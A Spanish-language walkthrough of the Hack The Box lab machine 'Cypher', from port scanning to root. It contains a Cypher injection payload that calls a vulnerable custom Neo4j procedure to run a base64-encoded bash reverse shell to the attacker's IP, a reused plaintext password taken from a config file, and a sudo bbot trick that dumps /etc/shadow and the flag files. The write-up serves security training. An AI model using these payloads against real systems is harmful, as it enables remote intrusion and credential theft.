Descripción

Cypher es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección de comandos en un procedimiento de Neo4j utilizando el lenguaje Cypher que conduce a la ejecución de comandos
  • Pivote de usuario mediante el uso de una credencial almacenada en un archivo que puede leer el usuario de Neo4j
  • Escalada de privilegios mediante carga de reglas YARA personalizadas en el herramienta bbot ejecutada como usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.192.246.

$ ping -c 3 10.129.192.246
PING 10.129.192.246 (10.129.192.246) 56(84) bytes of data.
64 bytes from 10.129.192.246: icmp_seq=1 ttl=63 time=46.8 ms
64 bytes from 10.129.192.246: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.129.192.246: icmp_seq=3 ttl=63 time=46.0 ms

--- 10.129.192.246 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.009/46.415/46.750/0.306 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.192.246 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.192.246
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Obtenemos dos puertos abiertos: 22 y 80.️

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.192.246 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.192.246
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.82 seconds

Obtenemos dos servicios: uno de Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. We add the cypher.htb domain to the /etc/hosts file.

$ echo '10.129.192.246 cypher.htb' | sudo tee -a /etc/hosts

Encontramos una aplicación web llamada “DEMO ASM” que nos ofrece una demostración y si vamos a probarla, nos redirige a un formulario de inicio de sesión.️ Encontramos en el código fuente de la página HTML que la aplicación web utiliza Neo4j para la base de datos.️

...
 <script>
    // TODO: don't store user accounts in neo4j
    function doLogin(e) {
      e.preventDefault();
      var username = $("#usernamefield").val();
      var password = $("#passwordfield").val();
...

Vamos a interceptar la solicitud con Burp Suite y encontraremos una solicitud POST al endpoint /api/auth con un cuerpo JSON.️

{"username":"admin","password":"password"}

Recibimos una respuesta indicando que las credenciales son incorrectas.

{"detail":"Invalid credentials"}

Neo4j utiliza el lenguaje Cypher y es inyectable como el SQL. Vamos a intentar introducir una comilla para ver si activa un error con la siguiente carga de datos.️

{"username":"admin' testing //","password":"password"}

Obtenemos de regreso un código de estado HTTP 400 con una excepción proveniente de la aplicación Python en el archivo /app/app.py.️

...
Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
...

Volvamos a enumerar el sitio web y revisar las carpetas. Encontramos una interesante, testing, que contiene el archivo custom-apoc-extension-1.0-SNAPSHOT.jar.️

$ gobuster dir -u 'http://cypher.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt                                                         1 ↵
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/index.html           (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

Lo descargamos y hacemos ingeniería inversa con la aplicación de descompilador JADX.️

$ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar

Encontramos código Java que implementa dos procedimientos personalizados para Neo4j, uno llamado custom.getUrlStatusCode en la clase CustomFunctions del paquete com.cypher.neo4j.apoc que implementa el código para obtener el código de estado que devuelve una página web. Y otro segundo custom.helloWorld en la clase HelloWorldProcedure que implementa el retorno de una cadena. Si tomamos un vistazo a la fuente del código del primer procedimiento, encontramos que es vulnerable a inyección de comandos.️

package com.cypher.neo4j.apoc;
...
public class CustomFunctions {
    @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
    @Description("Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
        if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
            url = "https://" + url;
        }
        String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
        System.out.println("Command: " + Arrays.toString(command));
        Process process = Runtime.getRuntime().exec(command);

Explotación

Podemos utilizar la anterior inyección de Neo4j para ejecutar el procedimiento con un comando inyectado que lanzará una terminal inversa en nuestra máquina. El parámetro inyectable es url de la siguiente manera, por ejemplo, http://cypher.htb; whoami. En el excepción anterior encontramos la consulta que se está creando.️

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' AND 1=1 return h.value as hash //' return h.value as hash

Necesitamos crear una inyección que ejecute la procedimiento y necesitará devolver un valor, como en la consulta original (hash). Encontramos una inyección que funciona, debemos tener en cuenta que necesitamos introducir caracteres de comentario // al final para ignorar el resto de la consulta. Podemos codificar el código de la terminal inversa utilizando Base64 y luego ejecutarlo.️

{"username":"admin' OR 1=1 CALL custom.getUrlStatusCode('http://10.10.14.50; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MC8xMjM0IDA+JjE= | base64 -d | bash') yield statusCode AS value RETURN value // ","password":"admin"}

Abrimos el puerto de escucha y después de enviar la solicitud, recibimos la terminal inversa.️

$ nc -nvlp 1234

Obtenemos la terminal inversa como el usuario neo4j.️

$ curl -X POST -H 'Content-Type: application/json' -d $'{\"username\":\"admin\' OR 1=1 CALL custom.getUrlStatusCode(\'http://10.10.14.50; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MC8xMjM0IDA+JjE= | base64 -d | bash\') yield statusCode AS value RETURN value // \",\"password\":\"admin\"}' 'http://cypher.htb/api/auth'

$ nc -nvlp 1234                                                               listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.129.192.246] 36724
bash: cannot set terminal process group (1409): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ id
id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)

Actualizamos la terminal y nos movemos a los siguientes pasos.

Post-Explotación

Encontramos como usuarios de consola del sistema: root, graphasm y neo4j.️

neo4j@cypher:/$ grep bash /etc/passwd
grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash

Encontramos un archivo leíble en la carpeta de directorio graphasm en el directorio de inicio /home/graphasm/bbot_preset.yml, que contiene una contraseña, cU4btyib.20xtCMCXkBmerhK.️

neo4j@cypher:/$ ls /home/graphasm
bbot_preset.yml
user.txt
neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Podemos utilizar la contraseña para iniciar sesión en la máquina como el usuario graphasm mediante SSH.️

$ ssh graphasm@cypher.htb          
graphasm@cypher.htb's password: 
...

graphasm@cypher:~$ id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)

Encontramos que podemos ejecutar un comando como usuario root, bbot.️

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

bbot es una herramienta para enumeración de dominios. Encontramos un parámetro interesante --custom-yara-rules, que carga un archivo de reglas YARA personalizado.️

graphasm@cypher:~$ bbot --help
...
Misc:
  --version             show BBOT version and exit
  -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
                        List of custom headers as key value pairs (header=value).
  --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
                        Add custom yara rules to excavate
...

Podemos utilizar este parámetro con el modo de depuración -d para filtrar el contenido de los archivos.️

graphasm@cypher:~$ sudo bbot --custom-yara-rules /etc/shadow -d
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

...
[DBUG] internal.excavate: Including Submodule SerializationExtractor
[DBUG] internal.excavate: Including Submodule URLExtractor
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/etc/shadow]
[DBUG] internal.excavate: Final combined yara rule contents: root:$y$j9T$ianAmmc1w6VSodw.1...vE1VekRL79v6bN00fhcbA59zeeLciY67:20133:0:99999:7:::
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
...

Flags

Podemos utilizar la vulnerabilidad para extraer las flags de user y root.️

graphasm@cypher:~$ sudo bbot --custom-yara-rules /home/graphasm/user.txt -d
<REDACTED>
graphasm@cypher:~$ sudo bbot --custom-yara-rules /root/root.txt -d
<REDACTED>